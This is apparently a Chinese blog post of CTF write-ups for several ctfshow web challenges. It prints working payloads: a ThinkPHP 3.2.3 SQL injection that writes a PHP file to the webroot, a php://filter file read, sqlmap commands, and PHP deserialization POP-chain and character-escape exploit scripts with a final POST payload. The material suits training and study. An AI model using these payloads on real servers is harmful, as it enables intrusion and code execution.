lastsward’s website
tp3复现
对着登陆框日了半天,结果毛都没有。查看URL试着访问了URL/Public
有了文件泄露。
随便看个游戏/index.php/Home/Game/gameinfo/gameId/<?php
盲猜tp,尝试报错页面发现ThinkPHP3.2.3
,搜poc:id[0]=exp&id[1]==1 or sleep(5)
,正好url也有gameId
根据hint与sql语句尝试导出内容,URL/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==1 into dumpfile "/var/www/html/1.php"%23
,确实,游戏名字导出来了,接着修改游戏名为<?php phpinfo()?>
,再次导出访问即可得到flag
eazy-unserialize & eazy-unserialize-revenge
ez反序列化
<?php
include "mysqlDb.class.php";
class ctfshow{
public $method;
public $args;
public $cursor;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->getCursor();
}
function getCursor(){
global $DEBUG;
if (!$this->cursor)
$this->cursor = MySql::getInstance();
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS USERINFO";
$this->cursor->Exec($sql);
$sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->cursor->Exec($sql);
$sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
$this->cursor->Exec($sql);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->cursor->getRow($sql);
$data = $obj['role'];
if ( $data != null ) {
define('Happy', TRUE);
$this->loadData($data);
}
else {
$this->byebye("sorry!");
}
}
function closeCursor(){
$this->cursor = MySql::destroyInstance();
}
function lookme() {
highlight_file(__FILE__);
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:') {
return unserialize($data);
}
return null;
}
function __destruct() {
$this->getCursor();
if (in_array($this->method, array("login", "lookme"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->byebye("fuc***** hacker ?");
}
$this->closeCursor();
}
function byebye($msg) {
$this->closeCursor();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
}
class Happy{
public $file='flag.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
}
function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
die("Hacker !!!");
}
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}
直接反序列化happy类就好了
<?php
/**
* @Author: yq1ng
* @Date: 2021-02-27 00:36:24
* @Last Modified by: yq1ng
* @Last Modified time: 2021-02-27 00:39:08
*/
class Happy{
public $file='/flag';
}
echo serialize(new Happy());
迷惑行为大赏之盲注
一把梭
忘记密码处存在注入,直接sqlmap了,大半夜的懒得写工具
罕见的中文名
从太空神那里学到sqlmap跑MySQL保留字的语法:
sqlmap.py -u "" --data="username=admin" -D 测试
-T 15665611612 -C "`what@you@want`" --dump
Web逃离计划
弱口令,反序列化字符逃逸,pop
参考atao师傅wp
说在前面,题目环境不要乱动,我图省事把class.php中的protected属性全部改为public了,所以导致本地复现可以成功但是题目不行,就是因为protected属性序列化后会多出两个字符(\00*\00),详细移步此处,然而php7对protected属性不敏感,即使改为public也可以成功反序列化。。。本地字符逃逸就少了两个字符,打到题目一直不成功,师傅们引以为戒,,我浪费了一下午。。。
弱密码admin/admin888
登陆,没用,扫后台发现hint.php
,点进去发现Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints
,尝试其他方式,一般都是为协议呗。
查看源码,发现利用点(此处只有成功登陆才会出现)
<?php
//lookMe.php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.png'){
header("Content-Type:image/png");
echo file_get_contents("./static/img/logo.png");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
伪协议不用read也可以转换读取方式URL/lookMe.php?file=php://filter/convert.base64-encode/resource=hint.php
<?php
//hint.php
echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints";
//You can only read the following(Files in the current directory),and only top 3 are necessary:
//ezwaf.php
//class.php
//index.php
//lookMe.php
依次读取每个文件
<?php
//ezwaf.php
function get($data){
$data = str_replace('forfun', chr(0)."*".chr(0), $data);//6字符变3字符,应该是反序列化字符逃逸
return $data;
}
function checkData($data){
if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){//stristr对大小写敏感,反序列化中字符串类型的s变S可以解析十六进制
die("fuc**** hacker!!!\n");
}
else{
return $data;
}
}
function checkLogData($data){
if (preg_match("/register|magic|PersonalFunction/",$data)){//未写/i,大小写敏感,但是php对类名的大小写不敏感,变换大小写绕过即可
die("fuc**** hacker!!!!\n");
}
else{
return $data;
}
}
<?php
//class.php
error_reporting(0);
class Login{
protected $user_name;
protected $pass_word;
protected $admin;
public function __construct($username,$password){
$this->user_name=$username;
$this->pass_word=$password;
if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
$this->admin = 1;
}else{
$this->admin = 0;
}
}
public function checkStatus(){
return $this->admin;
}
}
class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;
public function __construct($username,$password,$mobile){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
}
public function __toString(){//对象当成字符串使用触发此魔术方法
return $this->mdPwd->pwd;
}
}
class magic{
protected $username;
public function __get($key){//读取不可访问属性的值时,__get() 会被调用
if ($this->username!=='admin'){
die("what do you do?");
}
$this->getFlag($key);
}
public function getFlag($key){
echo $key."</br>";
system("cat /flagg");//敲黑板,pop最终需要触发此处
}
}
class PersonalFunction{
protected $username;
protected $password;
protected $func = array();
public function __construct($username, $password,$func = "personalData"){
$this->username = $username;
$this->password = $password;
$this->func[$func] = true;
}
public function checkFunction(array $funcBars) {
$retData = null;
$personalProperties = array_flip([
'modifyPwd', 'InvitationCode',
'modifyAvatar', 'personalData',
]);
foreach ($personalProperties as $item => $num){
foreach ($funcBars as $funcBar => $stat) {
if (stristr($stat,$item)){
$retData = true;
}
}
}
return $retData;
}
public function doFunction($function){
// TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
return true;
}
public function __destruct(){
$retData = $this->checkFunction($this->func);
$this->doFunction($retData);
}
}
<?php
//index.php主要代码
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
$serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
$login = unserialize($serData);//考察点就是反序列化了
$loginStatus = $login->checkStatus();
if ($loginStatus){
$_SESSION['login'] = true;
$_COOKIE['status'] = 0;
}
$finish = true;
}
?>
被这个题折磨好久,当初迷了,一直不知道怎么触发,后来看到atao师傅写的wp才恍然大悟,通过login去触发
可以先看看上面各个类我写的注释,会有一点点帮助吧。class.php需要最终触发的函数已经很清楚了,就是magic::getFlag()
,怎么调用它?此类中有__get
魔术方法,注释中已经写了,访问不可访问的属性,也就是不存在的属性即可调用,纵观这几个类可以发现register
的__toString
方法中如果让$this->mdPwd
为magic
类,即可触发magic::__get()
;谁去调用register::__toString
?Login
肯定不行,反序列化后就不会再触发__construct
魔术方法了,所以只有PersonalFunction
类,此类的 __destruc
方法中调用了PersonalFunction::checkFunction()
,而这个方法中有这一句if (stristr($stat,$item)){
,正好可以满足我们的需求。
梳理一下pop
$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);
这还不够,怎么触发上面这一坨呢?看index.php中反序列化的是什么类?Login
!入口点就是这,题目中还有一个反序列化字符串逃逸,利用它!将Login
类带到上面那一坨,没用字符逃逸的脚本是这样的
<?php
class Login{
public $user_name;
public $pass_word;
public $admin;
}
class magic{
public $username;
}
class register{
public $mdPwd;
}
class PersonalFunction{
public $func = array();
}
$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);
$e = new Login();
$e->user_name = 'yq1ng';
$e->pass_word = $yq1ng;
$e->admin = 0;
echo(serialize($e));
//O:5:"Login":3:{s:9:"user_name";s:5:"yq1ng";s:9:"pass_word";s:123:"O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
可以用吗?构造的pop根本不能触发鸭,所以需要字符逃逸,利用ezwaf.php的forfun->chr(0)."*".chr(0)
,6字符变3字符把原来的pass_word
的键值对给吃掉,并补上一定数量的字符使其吃掉的字符数为3的倍数(不然你吃不完鸭哈哈哈),再填上新的s:9:"pass_word";
,exp如下
<?php
/**
* @Author: yq1ng
* @Date: 2021-03-02 14:16:23
* @Last Modified by: yq1ng
* @Last Modified time: 2021-03-02 18:00:32
*/
class login{
public $user_name;
public $pass_word;
public $admin;
}
class Magic{
public $username;
}
class Register{
public $mdPwd;
}
class personalFunction{
public $func = array();
}
$a = new Magic();
$a->username = "admin";
$b = new Register();
$b->mdPwd = $a;
$c = array($b);
$d = new personalFunction();
$d->func = $c;
$yq1ng = serialize($d);
$e = new Login();
$e->user_name = 'yq1ng';
$e->pass_word = 'y";s:9:"pass_word";'.$yq1ng;
$e->admin = 0;
echo(serialize($e));
//O:5:"login":3:{s:9:"user_name";s:5:"yq1ng";s:9:"pass_word";s:142:"y";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
最终payload:password=y";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin&username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun